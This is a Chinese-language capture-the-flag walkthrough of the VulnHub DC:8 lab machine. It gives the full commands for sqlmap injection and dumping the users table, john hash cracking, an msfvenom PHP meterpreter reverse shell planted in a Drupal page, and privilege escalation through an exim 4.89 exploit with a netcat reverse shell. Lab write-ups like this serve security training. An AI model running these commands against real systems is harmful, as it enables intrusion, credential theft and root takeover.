准备工作
在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub
导入到vmware,设置成NAT模式
打开kali准备进行渗透(ip:192.168.200.6)
信息收集
利用nmap进行ip端口探测
nmap -sS 192.168.200.6/24
探测到ip为192.168.200.22的靶机,开放了80端口和22端口
再用nmap对所有端口进行探测,确保没有别的遗漏信息
nmap -sV -p- 192.168.200.22
打开80端口查看,又是熟悉的界面Drupal 框架,但这次是Drupal7
dirsearch扫目录发现了xmlrpc.php和后台登陆页面
观察了一下页面,发现有传参,判断可能存在注入,下面进行测试
SQL注入
经过测试发现存在sql注入
利用sqlmap进行攻击,爆出数据库d7db
sqlmap -u "http://192.168.200.22/?nid=1" --dbs
再找到users表
sqlmap -u "http://192.168.200.22/?nid=1" -D d7db --tables
接着爆列名
sqlmap -u "http://192.168.200.22/?nid=1" -D d7db -T 'users' --columns
最后爆数据
sqlmap -u "http://192.168.200.22/?nid=1" -D d7db -T 'users' -C uid,name,pass --dump
拿到账号和加密过后的密码,看样子像之前DC3的那种加密,用john来爆
john解密
先将密码保存下来之后进行爆破,但是只爆到了一个密码
登陆了一下发现不是admin的密码,john登陆进去了
在后台发现,可以增加页面,也可以编辑页面,和dc7的情况差不多
但是增加的页面不能选择以php代码执行,找了一会发现 编辑contact us页面可以以php代码执行
试了一下phpinfo();发现没有显示,可能只是没有回显,但代码已经保存了。接下来我利用msf进行后门监听
msf后门利用
首先先用msfvenom生成后门,然后用后门的代码复制到编辑页面
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 R > test.php
接着打开msf,输入命令进行监听
use exploit/multi/handler //使用handler模块 set PAYLOAD php/meterpreter/reverse_tcp //设置payload set LHOST 192.168.200.6 //监听 run
然后返回contact us界面,随便输入点东西提交,就返回shell到kali了
权限提升
拿到webshell之后进行提权
先获取交互式shell
python -c'import pty;pty.spawn("/bin/bash")'
进行简单的信息收集
find / -perm -u=s -type f 2>/dev/null
还使用了linux-exploit-suggester-master脚本去跑漏洞,没有发现什么可利用的权限提升漏洞,看了wp才注意到exim4这个东西
exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。查找一下关于exim4的漏洞,首先看看版本
exim 4.89
找到了对应版本的本地提权利用脚本
完整路径是:/usr/share/exploitdb/exploits/+path中的脚本路径
看了下文件有两种提权方法,一个是setuid 一个是netcat
在meterpreter会话中将这个文件上传到靶机上
upload /usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/shell.sh
给脚本文件添加执行权限
chmod +x shell.sh
但无论执行什么都报错,查了一下是文件格式导致的。要想执行46996.sh文件,需要修改文件format为unix格式
在kali用vi打开脚本修改格式 输入 :set ff=unix,然后再重新上传脚本
使用了第一种方法提权失败-m setuid
第二种方法-m netcat成功,但是很不稳定,过了一会又变成www-data
可以趁root权限的时候用nc反弹shell维持稳定
进入root过关